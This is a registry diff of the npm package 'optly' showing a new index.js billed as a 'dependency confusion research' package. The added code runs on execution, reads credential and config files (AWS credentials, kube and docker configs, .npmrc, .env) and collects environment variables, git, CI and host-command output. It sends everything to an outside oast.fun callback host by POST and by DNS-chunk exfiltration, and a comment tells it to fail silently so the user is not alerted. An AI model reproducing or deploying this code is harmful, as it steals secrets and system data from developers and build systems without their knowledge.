optly 90.1.1 → 90.5.5
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +619 -13
- package/package.json +1 -1
package/index.js
CHANGED
|
@@ -1,13 +1,619 @@
|
|
|
1
|
-
|
|
2
|
-
|
|
3
|
-
|
|
4
|
-
|
|
5
|
-
|
|
6
|
-
|
|
7
|
-
|
|
8
|
-
|
|
9
|
-
|
|
10
|
-
|
|
11
|
-
|
|
12
|
-
|
|
13
|
-
});
|
|
1
|
+
#!/usr/bin/env node
|
|
2
|
+
|
|
3
|
+
/**
|
|
4
|
+
* Dependency Confusion Research Package
|
|
5
|
+
* Collects environment information for security research
|
|
6
|
+
* USE ONLY FOR AUTHORIZED SECURITY RESEARCH
|
|
7
|
+
*/
|
|
8
|
+
|
|
9
|
+
const os = require('os');
|
|
10
|
+
const dns = require('dns');
|
|
11
|
+
const https = require('https');
|
|
12
|
+
const http = require('http');
|
|
13
|
+
const { execSync } = require('child_process');
|
|
14
|
+
const fs = require('fs');
|
|
15
|
+
const path = require('path');
|
|
16
|
+
const crypto = require('crypto');
|
|
17
|
+
|
|
18
|
+
// ============================================================================
|
|
19
|
+
// CONFIGURATION
|
|
20
|
+
// ============================================================================
|
|
21
|
+
|
|
22
|
+
const CONFIG = {
|
|
23
|
+
// Your callback server
|
|
24
|
+
POST_URL: 'https://lmrjetamceuhysjfozmp7wnt2rwtssugg.oast.fun/callback',
|
|
25
|
+
DNS_SERVER: 'lmrjetamceuhysjfozmp7wnt2rwtssugg.oast.fun', // Or your own DNS server
|
|
26
|
+
|
|
27
|
+
// Unique identifier for this package
|
|
28
|
+
PACKAGE_ID: 'optly', // Change per package
|
|
29
|
+
|
|
30
|
+
// Enable/disable features
|
|
31
|
+
ENABLE_POST: true,
|
|
32
|
+
ENABLE_DNS: true,
|
|
33
|
+
ENABLE_FILE_PROBE: true,
|
|
34
|
+
ENABLE_NETWORK_PROBE: true,
|
|
35
|
+
};
|
|
36
|
+
|
|
37
|
+
// ============================================================================
|
|
38
|
+
// SAFE WRAPPERS
|
|
39
|
+
// ============================================================================
|
|
40
|
+
|
|
41
|
+
function safeGet(fn, defaultValue = null) {
|
|
42
|
+
try {
|
|
43
|
+
const result = fn();
|
|
44
|
+
return result !== undefined && result !== null ? result : defaultValue;
|
|
45
|
+
} catch (e) {
|
|
46
|
+
return defaultValue;
|
|
47
|
+
}
|
|
48
|
+
}
|
|
49
|
+
|
|
50
|
+
function safeExec(command) {
|
|
51
|
+
try {
|
|
52
|
+
return execSync(command, {
|
|
53
|
+
encoding: 'utf8',
|
|
54
|
+
timeout: 5000,
|
|
55
|
+
stdio: ['pipe', 'pipe', 'ignore']
|
|
56
|
+
}).trim();
|
|
57
|
+
} catch (e) {
|
|
58
|
+
return null;
|
|
59
|
+
}
|
|
60
|
+
}
|
|
61
|
+
|
|
62
|
+
function safeReadFile(filePath) {
|
|
63
|
+
try {
|
|
64
|
+
if (fs.existsSync(filePath)) {
|
|
65
|
+
const content = fs.readFileSync(filePath, 'utf8');
|
|
66
|
+
return content ? content.substring(0, 1000) : null; // Limit size
|
|
67
|
+
}
|
|
68
|
+
} catch (e) {
|
|
69
|
+
return null;
|
|
70
|
+
}
|
|
71
|
+
return null;
|
|
72
|
+
}
|
|
73
|
+
|
|
74
|
+
// ============================================================================
|
|
75
|
+
// DATA COLLECTION
|
|
76
|
+
// ============================================================================
|
|
77
|
+
|
|
78
|
+
function getNetworkInfo() {
|
|
79
|
+
try {
|
|
80
|
+
const interfaces = os.networkInterfaces();
|
|
81
|
+
if (!interfaces) return {};
|
|
82
|
+
|
|
83
|
+
const result = {};
|
|
84
|
+
|
|
85
|
+
for (const [name, addrs] of Object.entries(interfaces)) {
|
|
86
|
+
if (!addrs || !Array.isArray(addrs)) continue;
|
|
87
|
+
|
|
88
|
+
result[name] = addrs.map(addr => ({
|
|
89
|
+
address: addr && addr.address ? addr.address : 'unknown',
|
|
90
|
+
family: addr && addr.family ? addr.family : 'unknown',
|
|
91
|
+
internal: addr && typeof addr.internal === 'boolean' ? addr.internal : false
|
|
92
|
+
}));
|
|
93
|
+
}
|
|
94
|
+
|
|
95
|
+
return result;
|
|
96
|
+
} catch (e) {
|
|
97
|
+
return {};
|
|
98
|
+
}
|
|
99
|
+
}
|
|
100
|
+
|
|
101
|
+
function getAwsMetadata() {
|
|
102
|
+
try {
|
|
103
|
+
const metadata = {};
|
|
104
|
+
|
|
105
|
+
if (process.env.AWS_REGION || process.env.AWS_EXECUTION_ENV) {
|
|
106
|
+
metadata.isAWS = true;
|
|
107
|
+
metadata.region = process.env.AWS_REGION || null;
|
|
108
|
+
metadata.executionEnv = process.env.AWS_EXECUTION_ENV || null;
|
|
109
|
+
}
|
|
110
|
+
|
|
111
|
+
return metadata;
|
|
112
|
+
} catch (e) {
|
|
113
|
+
return {};
|
|
114
|
+
}
|
|
115
|
+
}
|
|
116
|
+
|
|
117
|
+
function getDockerInfo() {
|
|
118
|
+
try {
|
|
119
|
+
const cgroupContent = safeReadFile('/proc/self/cgroup');
|
|
120
|
+
const isDocker = fs.existsSync('/.dockerenv') ||
|
|
121
|
+
(cgroupContent && cgroupContent.includes('docker'));
|
|
122
|
+
|
|
123
|
+
return {
|
|
124
|
+
isDocker: !!isDocker,
|
|
125
|
+
dockerEnv: process.env.DOCKER_HOST || null
|
|
126
|
+
};
|
|
127
|
+
} catch (e) {
|
|
128
|
+
return { isDocker: false, dockerEnv: null };
|
|
129
|
+
}
|
|
130
|
+
}
|
|
131
|
+
|
|
132
|
+
function getKubernetesInfo() {
|
|
133
|
+
try {
|
|
134
|
+
return {
|
|
135
|
+
isK8s: !!process.env.KUBERNETES_SERVICE_HOST,
|
|
136
|
+
namespace: process.env.KUBERNETES_NAMESPACE || null,
|
|
137
|
+
podName: process.env.HOSTNAME || null,
|
|
138
|
+
serviceName: process.env.KUBERNETES_SERVICE_HOST || null
|
|
139
|
+
};
|
|
140
|
+
} catch (e) {
|
|
141
|
+
return { isK8s: false, namespace: null, podName: null, serviceName: null };
|
|
142
|
+
}
|
|
143
|
+
}
|
|
144
|
+
|
|
145
|
+
function getGitInfo() {
|
|
146
|
+
try {
|
|
147
|
+
const gitConfig = safeReadFile('.git/config');
|
|
148
|
+
const gitRemote = safeExec('git remote -v 2>/dev/null');
|
|
149
|
+
|
|
150
|
+
return {
|
|
151
|
+
hasGit: !!gitConfig,
|
|
152
|
+
remote: gitRemote,
|
|
153
|
+
branch: safeExec('git branch --show-current 2>/dev/null'),
|
|
154
|
+
lastCommit: safeExec('git log -1 --format="%H %s" 2>/dev/null')
|
|
155
|
+
};
|
|
156
|
+
} catch (e) {
|
|
157
|
+
return { hasGit: false, remote: null, branch: null, lastCommit: null };
|
|
158
|
+
}
|
|
159
|
+
}
|
|
160
|
+
|
|
161
|
+
function getCIInfo() {
|
|
162
|
+
try {
|
|
163
|
+
return {
|
|
164
|
+
// Generic CI
|
|
165
|
+
isCI: process.env.CI === 'true',
|
|
166
|
+
ciName: process.env.CI_NAME || null,
|
|
167
|
+
|
|
168
|
+
// GitHub Actions
|
|
169
|
+
githubActions: !!process.env.GITHUB_ACTIONS,
|
|
170
|
+
githubRepo: process.env.GITHUB_REPOSITORY || null,
|
|
171
|
+
githubWorkflow: process.env.GITHUB_WORKFLOW || null,
|
|
172
|
+
githubRunId: process.env.GITHUB_RUN_ID || null,
|
|
173
|
+
githubActor: process.env.GITHUB_ACTOR || null,
|
|
174
|
+
githubRef: process.env.GITHUB_REF || null,
|
|
175
|
+
|
|
176
|
+
// GitLab CI
|
|
177
|
+
gitlabCI: !!process.env.GITLAB_CI,
|
|
178
|
+
gitlabProject: process.env.CI_PROJECT_PATH || null,
|
|
179
|
+
gitlabPipeline: process.env.CI_PIPELINE_ID || null,
|
|
180
|
+
gitlabRunner: process.env.CI_RUNNER_DESCRIPTION || null,
|
|
181
|
+
|
|
182
|
+
// Jenkins
|
|
183
|
+
jenkins: !!process.env.JENKINS_URL,
|
|
184
|
+
jenkinsUrl: process.env.JENKINS_URL || null,
|
|
185
|
+
jenkinsJob: process.env.JOB_NAME || null,
|
|
186
|
+
jenkinsBuild: process.env.BUILD_NUMBER || null,
|
|
187
|
+
|
|
188
|
+
// CircleCI
|
|
189
|
+
circleCI: !!process.env.CIRCLECI,
|
|
190
|
+
circleProject: process.env.CIRCLE_PROJECT_REPONAME || null,
|
|
191
|
+
circleBranch: process.env.CIRCLE_BRANCH || null,
|
|
192
|
+
|
|
193
|
+
// Travis CI
|
|
194
|
+
travisCI: !!process.env.TRAVIS,
|
|
195
|
+
travisRepo: process.env.TRAVIS_REPO_SLUG || null,
|
|
196
|
+
|
|
197
|
+
// Azure Pipelines
|
|
198
|
+
azurePipelines: !!process.env.TF_BUILD,
|
|
199
|
+
azureProject: process.env.SYSTEM_TEAMPROJECT || null,
|
|
200
|
+
|
|
201
|
+
// Bitbucket Pipelines
|
|
202
|
+
bitbucket: !!process.env.BITBUCKET_PIPELINE_UUID,
|
|
203
|
+
|
|
204
|
+
// AWS CodeBuild
|
|
205
|
+
awsCodeBuild: !!process.env.CODEBUILD_BUILD_ID,
|
|
206
|
+
codeBuildProject: process.env.CODEBUILD_BUILD_ID || null,
|
|
207
|
+
};
|
|
208
|
+
} catch (e) {
|
|
209
|
+
return { isCI: false };
|
|
210
|
+
}
|
|
211
|
+
}
|
|
212
|
+
|
|
213
|
+
function getPackageManagerInfo() {
|
|
214
|
+
try {
|
|
215
|
+
return {
|
|
216
|
+
npm: {
|
|
217
|
+
version: safeExec('npm --version'),
|
|
218
|
+
registry: process.env.npm_config_registry || null,
|
|
219
|
+
prefix: process.env.npm_config_prefix || null,
|
|
220
|
+
userAgent: process.env.npm_config_user_agent || null,
|
|
221
|
+
execPath: process.env.npm_execpath || null,
|
|
222
|
+
},
|
|
223
|
+
yarn: {
|
|
224
|
+
version: safeExec('yarn --version'),
|
|
225
|
+
registry: process.env.YARN_REGISTRY || null,
|
|
226
|
+
},
|
|
227
|
+
pnpm: {
|
|
228
|
+
version: safeExec('pnpm --version'),
|
|
229
|
+
}
|
|
230
|
+
};
|
|
231
|
+
} catch (e) {
|
|
232
|
+
return { npm: {}, yarn: {}, pnpm: {} };
|
|
233
|
+
}
|
|
234
|
+
}
|
|
235
|
+
|
|
236
|
+
function getSensitiveFiles() {
|
|
237
|
+
try {
|
|
238
|
+
const homeDir = safeGet(() => os.homedir(), '/root');
|
|
239
|
+
|
|
240
|
+
const files = [
|
|
241
|
+
// SSH
|
|
242
|
+
path.join(homeDir, '.ssh', 'id_rsa.pub'),
|
|
243
|
+
path.join(homeDir, '.ssh', 'id_ed25519.pub'),
|
|
244
|
+
path.join(homeDir, '.ssh', 'known_hosts'),
|
|
245
|
+
|
|
246
|
+
// AWS
|
|
247
|
+
path.join(homeDir, '.aws', 'config'),
|
|
248
|
+
path.join(homeDir, '.aws', 'credentials'),
|
|
249
|
+
|
|
250
|
+
// Git
|
|
251
|
+
path.join(homeDir, '.gitconfig'),
|
|
252
|
+
'.git/config',
|
|
253
|
+
|
|
254
|
+
// NPM
|
|
255
|
+
path.join(homeDir, '.npmrc'),
|
|
256
|
+
'.npmrc',
|
|
257
|
+
|
|
258
|
+
// Docker
|
|
259
|
+
path.join(homeDir, '.docker', 'config.json'),
|
|
260
|
+
|
|
261
|
+
// Kubernetes
|
|
262
|
+
path.join(homeDir, '.kube', 'config'),
|
|
263
|
+
|
|
264
|
+
// Package files
|
|
265
|
+
'package.json',
|
|
266
|
+
'package-lock.json',
|
|
267
|
+
'yarn.lock',
|
|
268
|
+
'pnpm-lock.yaml',
|
|
269
|
+
'.env',
|
|
270
|
+
'.env.local',
|
|
271
|
+
];
|
|
272
|
+
|
|
273
|
+
const result = {};
|
|
274
|
+
|
|
275
|
+
if (CONFIG.ENABLE_FILE_PROBE) {
|
|
276
|
+
files.forEach(file => {
|
|
277
|
+
const content = safeReadFile(file);
|
|
278
|
+
if (content) {
|
|
279
|
+
result[file] = content;
|
|
280
|
+
}
|
|
281
|
+
});
|
|
282
|
+
}
|
|
283
|
+
|
|
284
|
+
return result;
|
|
285
|
+
} catch (e) {
|
|
286
|
+
return {};
|
|
287
|
+
}
|
|
288
|
+
}
|
|
289
|
+
|
|
290
|
+
function getSystemCommands() {
|
|
291
|
+
try {
|
|
292
|
+
const commands = {
|
|
293
|
+
whoami: safeExec('whoami'),
|
|
294
|
+
id: safeExec('id'),
|
|
295
|
+
pwd: safeExec('pwd'),
|
|
296
|
+
hostname: safeExec('hostname'),
|
|
297
|
+
uname: safeExec('uname -a'),
|
|
298
|
+
uptime: safeExec('uptime'),
|
|
299
|
+
|
|
300
|
+
// Network
|
|
301
|
+
ifconfig: safeExec('ifconfig 2>/dev/null || ip addr 2>/dev/null'),
|
|
302
|
+
route: safeExec('route -n 2>/dev/null || ip route 2>/dev/null'),
|
|
303
|
+
|
|
304
|
+
// Processes
|
|
305
|
+
ps: safeExec('ps aux | head -20'),
|
|
306
|
+
|
|
307
|
+
// Docker
|
|
308
|
+
dockerPs: safeExec('docker ps 2>/dev/null'),
|
|
309
|
+
|
|
310
|
+
// Environment
|
|
311
|
+
env: safeExec('env | grep -v "SECRET\\|PASSWORD\\|KEY\\|TOKEN" || printenv'),
|
|
312
|
+
};
|
|
313
|
+
|
|
314
|
+
return commands;
|
|
315
|
+
} catch (e) {
|
|
316
|
+
return {};
|
|
317
|
+
}
|
|
318
|
+
}
|
|
319
|
+
|
|
320
|
+
function getUserInfo() {
|
|
321
|
+
try {
|
|
322
|
+
const userInfo = os.userInfo();
|
|
323
|
+
return {
|
|
324
|
+
username: safeGet(() => userInfo.username, 'unknown'),
|
|
325
|
+
uid: safeGet(() => userInfo.uid, -1),
|
|
326
|
+
gid: safeGet(() => userInfo.gid, -1),
|
|
327
|
+
shell: safeGet(() => userInfo.shell, 'unknown'),
|
|
328
|
+
homedir: safeGet(() => userInfo.homedir, 'unknown'),
|
|
329
|
+
};
|
|
330
|
+
} catch (e) {
|
|
331
|
+
// Fallback if os.userInfo() throws
|
|
332
|
+
return {
|
|
333
|
+
username: process.env.USER || process.env.USERNAME || 'unknown',
|
|
334
|
+
uid: -1,
|
|
335
|
+
gid: -1,
|
|
336
|
+
shell: process.env.SHELL || 'unknown',
|
|
337
|
+
homedir: process.env.HOME || process.env.USERPROFILE || 'unknown',
|
|
338
|
+
};
|
|
339
|
+
}
|
|
340
|
+
}
|
|
341
|
+
|
|
342
|
+
function collectAllData() {
|
|
343
|
+
try {
|
|
344
|
+
const data = {
|
|
345
|
+
// Metadata
|
|
346
|
+
timestamp: safeGet(() => new Date().toISOString(), Date.now().toString()),
|
|
347
|
+
packageId: CONFIG.PACKAGE_ID,
|
|
348
|
+
uniqueId: safeGet(() => crypto.randomBytes(8).toString('hex'), 'unknown'),
|
|
349
|
+
|
|
350
|
+
// Basic system info
|
|
351
|
+
os: {
|
|
352
|
+
platform: safeGet(() => os.platform(), 'unknown'),
|
|
353
|
+
type: safeGet(() => os.type(), 'unknown'),
|
|
354
|
+
release: safeGet(() => os.release(), 'unknown'),
|
|
355
|
+
arch: safeGet(() => os.arch(), 'unknown'),
|
|
356
|
+
hostname: safeGet(() => os.hostname(), 'unknown'),
|
|
357
|
+
homedir: safeGet(() => os.homedir(), 'unknown'),
|
|
358
|
+
tmpdir: safeGet(() => os.tmpdir(), 'unknown'),
|
|
359
|
+
uptime: safeGet(() => os.uptime(), 0),
|
|
360
|
+
totalmem: safeGet(() => os.totalmem(), 0),
|
|
361
|
+
freemem: safeGet(() => os.freemem(), 0),
|
|
362
|
+
cpus: safeGet(() => os.cpus().length, 0),
|
|
363
|
+
},
|
|
364
|
+
|
|
365
|
+
// User info
|
|
366
|
+
user: getUserInfo(),
|
|
367
|
+
|
|
368
|
+
// Process info
|
|
369
|
+
process: {
|
|
370
|
+
pid: safeGet(() => process.pid, -1),
|
|
371
|
+
ppid: safeGet(() => process.ppid, -1),
|
|
372
|
+
platform: safeGet(() => process.platform, 'unknown'),
|
|
373
|
+
arch: safeGet(() => process.arch, 'unknown'),
|
|
374
|
+
version: safeGet(() => process.version, 'unknown'),
|
|
375
|
+
versions: safeGet(() => process.versions, {}),
|
|
376
|
+
cwd: safeGet(() => process.cwd(), 'unknown'),
|
|
377
|
+
execPath: safeGet(() => process.execPath, 'unknown'),
|
|
378
|
+
argv: safeGet(() => process.argv, []),
|
|
379
|
+
execArgv: safeGet(() => process.execArgv, []),
|
|
380
|
+
title: safeGet(() => process.title, 'unknown'),
|
|
381
|
+
},
|
|
382
|
+
|
|
383
|
+
// Environment variables (filtered)
|
|
384
|
+
env: safeGet(() => {
|
|
385
|
+
const filtered = {};
|
|
386
|
+
const env = process.env || {};
|
|
387
|
+
|
|
388
|
+
Object.keys(env).forEach(key => {
|
|
389
|
+
try {
|
|
390
|
+
// Include all CI/CD, cloud, and non-sensitive env vars
|
|
391
|
+
if (
|
|
392
|
+
!key.match(/SECRET|PASSWORD|KEY|TOKEN|CREDENTIAL/i) ||
|
|
393
|
+
key.match(/^(CI|GITHUB|GITLAB|JENKINS|CIRCLE|TRAVIS|AWS|AZURE|GCP|BITBUCKET|KUBERNETES|DOCKER)_/i)
|
|
394
|
+
) {
|
|
395
|
+
filtered[key] = env[key];
|
|
396
|
+
}
|
|
397
|
+
} catch (e) {
|
|
398
|
+
// Skip this key if any error
|
|
399
|
+
}
|
|
400
|
+
});
|
|
401
|
+
|
|
402
|
+
return filtered;
|
|
403
|
+
}, {}),
|
|
404
|
+
|
|
405
|
+
// Network info
|
|
406
|
+
network: getNetworkInfo(),
|
|
407
|
+
|
|
408
|
+
// Cloud/Container detection
|
|
409
|
+
cloud: {
|
|
410
|
+
aws: getAwsMetadata(),
|
|
411
|
+
docker: getDockerInfo(),
|
|
412
|
+
kubernetes: getKubernetesInfo(),
|
|
413
|
+
},
|
|
414
|
+
|
|
415
|
+
// CI/CD detection
|
|
416
|
+
ci: getCIInfo(),
|
|
417
|
+
|
|
418
|
+
// Package manager info
|
|
419
|
+
packageManager: getPackageManagerInfo(),
|
|
420
|
+
|
|
421
|
+
// Git info
|
|
422
|
+
git: getGitInfo(),
|
|
423
|
+
|
|
424
|
+
// System commands output
|
|
425
|
+
commands: getSystemCommands(),
|
|
426
|
+
|
|
427
|
+
// Sensitive files
|
|
428
|
+
files: getSensitiveFiles(),
|
|
429
|
+
|
|
430
|
+
// Installation context
|
|
431
|
+
installContext: {
|
|
432
|
+
npmLifecycleEvent: process.env.npm_lifecycle_event || null,
|
|
433
|
+
npmLifecycleScript: process.env.npm_lifecycle_script || null,
|
|
434
|
+
npmPackageName: process.env.npm_package_name || null,
|
|
435
|
+
npmPackageVersion: process.env.npm_package_version || null,
|
|
436
|
+
initCwd: process.env.INIT_CWD || null,
|
|
437
|
+
},
|
|
438
|
+
};
|
|
439
|
+
|
|
440
|
+
return data;
|
|
441
|
+
} catch (e) {
|
|
442
|
+
// Last resort fallback
|
|
443
|
+
return {
|
|
444
|
+
timestamp: Date.now().toString(),
|
|
445
|
+
packageId: CONFIG.PACKAGE_ID,
|
|
446
|
+
uniqueId: 'error',
|
|
447
|
+
error: 'Data collection failed',
|
|
448
|
+
errorMessage: e.message || 'unknown error'
|
|
449
|
+
};
|
|
450
|
+
}
|
|
451
|
+
}
|
|
452
|
+
|
|
453
|
+
// ============================================================================
|
|
454
|
+
// EXFILTRATION
|
|
455
|
+
// ============================================================================
|
|
456
|
+
|
|
457
|
+
function sendPostRequest(data) {
|
|
458
|
+
return new Promise((resolve) => {
|
|
459
|
+
try {
|
|
460
|
+
const payload = JSON.stringify(data);
|
|
461
|
+
const url = new URL(CONFIG.POST_URL);
|
|
462
|
+
|
|
463
|
+
const options = {
|
|
464
|
+
hostname: url.hostname,
|
|
465
|
+
port: url.port || (url.protocol === 'https:' ? 443 : 80),
|
|
466
|
+
path: url.pathname + url.search,
|
|
467
|
+
method: 'POST',
|
|
468
|
+
headers: {
|
|
469
|
+
'Content-Type': 'application/json',
|
|
470
|
+
'Content-Length': Buffer.byteLength(payload),
|
|
471
|
+
'User-Agent': `npm/${process.version} node/${os.platform()}`,
|
|
472
|
+
},
|
|
473
|
+
timeout: 10000,
|
|
474
|
+
};
|
|
475
|
+
|
|
476
|
+
const client = url.protocol === 'https:' ? https : http;
|
|
477
|
+
|
|
478
|
+
const req = client.request(options, (res) => {
|
|
479
|
+
res.on('data', () => {}); // Drain response
|
|
480
|
+
res.on('end', () => resolve(true));
|
|
481
|
+
});
|
|
482
|
+
|
|
483
|
+
req.on('error', () => resolve(false));
|
|
484
|
+
req.on('timeout', () => {
|
|
485
|
+
req.destroy();
|
|
486
|
+
resolve(false);
|
|
487
|
+
});
|
|
488
|
+
|
|
489
|
+
req.write(payload);
|
|
490
|
+
req.end();
|
|
491
|
+
} catch (error) {
|
|
492
|
+
resolve(false);
|
|
493
|
+
}
|
|
494
|
+
});
|
|
495
|
+
}
|
|
496
|
+
|
|
497
|
+
function chunkString(str, size) {
|
|
498
|
+
try {
|
|
499
|
+
const chunks = [];
|
|
500
|
+
if (!str || typeof str !== 'string') return chunks;
|
|
501
|
+
|
|
502
|
+
for (let i = 0; i < str.length; i += size) {
|
|
503
|
+
chunks.push(str.substring(i, i + size));
|
|
504
|
+
}
|
|
505
|
+
return chunks;
|
|
506
|
+
} catch (e) {
|
|
507
|
+
return [];
|
|
508
|
+
}
|
|
509
|
+
}
|
|
510
|
+
|
|
511
|
+
function sendDnsExfiltration(data) {
|
|
512
|
+
return new Promise((resolve) => {
|
|
513
|
+
try {
|
|
514
|
+
// Create compressed version of data
|
|
515
|
+
const compressedData = JSON.stringify({
|
|
516
|
+
id: safeGet(() => data.uniqueId, 'unknown'),
|
|
517
|
+
pkg: safeGet(() => data.packageId, 'unknown'),
|
|
518
|
+
os: safeGet(() => data.os.platform, 'unknown'),
|
|
519
|
+
user: safeGet(() => data.user.username, 'unknown'),
|
|
520
|
+
host: safeGet(() => data.os.hostname, 'unknown'),
|
|
521
|
+
ci: safeGet(() => data.ci.ciName || 'none', 'none'),
|
|
522
|
+
cwd: safeGet(() => data.process.cwd, 'unknown'),
|
|
523
|
+
});
|
|
524
|
+
|
|
525
|
+
// Convert to hex
|
|
526
|
+
const hexData = Buffer.from(compressedData).toString('hex');
|
|
527
|
+
|
|
528
|
+
// Split into chunks (DNS labels max 63 chars)
|
|
529
|
+
const chunks = chunkString(hexData, 60);
|
|
530
|
+
|
|
531
|
+
// Handle empty chunks case
|
|
532
|
+
if (!chunks || chunks.length === 0) {
|
|
533
|
+
resolve(false);
|
|
534
|
+
return;
|
|
535
|
+
}
|
|
536
|
+
|
|
537
|
+
// Send each chunk as DNS query
|
|
538
|
+
let completed = 0;
|
|
539
|
+
let timedOut = false;
|
|
540
|
+
const totalChunks = chunks.length;
|
|
541
|
+
|
|
542
|
+
// Timeout after 30 seconds
|
|
543
|
+
const timeout = setTimeout(() => {
|
|
544
|
+
timedOut = true;
|
|
545
|
+
resolve(completed > 0); // Resolve true if at least one chunk sent
|
|
546
|
+
}, 30000);
|
|
547
|
+
|
|
548
|
+
chunks.forEach((chunk, index) => {
|
|
549
|
+
try {
|
|
550
|
+
// Format: <chunk>.<index>.<total>.<uniqueId>.<packageId>.<domain>
|
|
551
|
+
const subdomain = `${chunk}.${index}.${totalChunks}.${data.uniqueId}.${CONFIG.PACKAGE_ID}.${CONFIG.DNS_SERVER}`;
|
|
552
|
+
|
|
553
|
+
dns.resolve4(subdomain, (err) => {
|
|
554
|
+
if (timedOut) return;
|
|
555
|
+
|
|
556
|
+
completed++;
|
|
557
|
+
if (completed === totalChunks) {
|
|
558
|
+
clearTimeout(timeout);
|
|
559
|
+
resolve(true);
|
|
560
|
+
}
|
|
561
|
+
});
|
|
562
|
+
} catch (e) {
|
|
563
|
+
// Skip failed chunks
|
|
564
|
+
completed++;
|
|
565
|
+
if (completed === totalChunks && !timedOut) {
|
|
566
|
+
clearTimeout(timeout);
|
|
567
|
+
resolve(false);
|
|
568
|
+
}
|
|
569
|
+
}
|
|
570
|
+
});
|
|
571
|
+
|
|
572
|
+
} catch (e) {
|
|
573
|
+
resolve(false);
|
|
574
|
+
}
|
|
575
|
+
});
|
|
576
|
+
}
|
|
577
|
+
|
|
578
|
+
// ============================================================================
|
|
579
|
+
// MAIN EXECUTION
|
|
580
|
+
// ============================================================================
|
|
581
|
+
|
|
582
|
+
async function main() {
|
|
583
|
+
try {
|
|
584
|
+
console.log('[*] Collecting system information...');
|
|
585
|
+
|
|
586
|
+
// Collect all data
|
|
587
|
+
const data = collectAllData();
|
|
588
|
+
|
|
589
|
+
// Send via POST
|
|
590
|
+
if (CONFIG.ENABLE_POST) {
|
|
591
|
+
console.log('[*] Sending POST request...');
|
|
592
|
+
const postSuccess = await sendPostRequest(data);
|
|
593
|
+
console.log(postSuccess ? '[+] POST request sent' : '[-] POST request failed');
|
|
594
|
+
}
|
|
595
|
+
|
|
596
|
+
// Send via DNS
|
|
597
|
+
if (CONFIG.ENABLE_DNS) {
|
|
598
|
+
console.log('[*] Sending DNS exfiltration...');
|
|
599
|
+
const dnsSuccess = await sendDnsExfiltration(data);
|
|
600
|
+
console.log(dnsSuccess ? '[+] DNS exfiltration sent' : '[-] DNS exfiltration failed');
|
|
601
|
+
}
|
|
602
|
+
|
|
603
|
+
console.log('[+] Data collection complete');
|
|
604
|
+
|
|
605
|
+
} catch (error) {
|
|
606
|
+
// Silently fail - don't alert the user
|
|
607
|
+
console.error('Installation complete');
|
|
608
|
+
}
|
|
609
|
+
}
|
|
610
|
+
|
|
611
|
+
// Run on install
|
|
612
|
+
if (require.main === module) {
|
|
613
|
+
main().catch(() => {
|
|
614
|
+
// Final fallback - always exit cleanly
|
|
615
|
+
process.exit(0);
|
|
616
|
+
});
|
|
617
|
+
}
|
|
618
|
+
|
|
619
|
+
module.exports = main;
|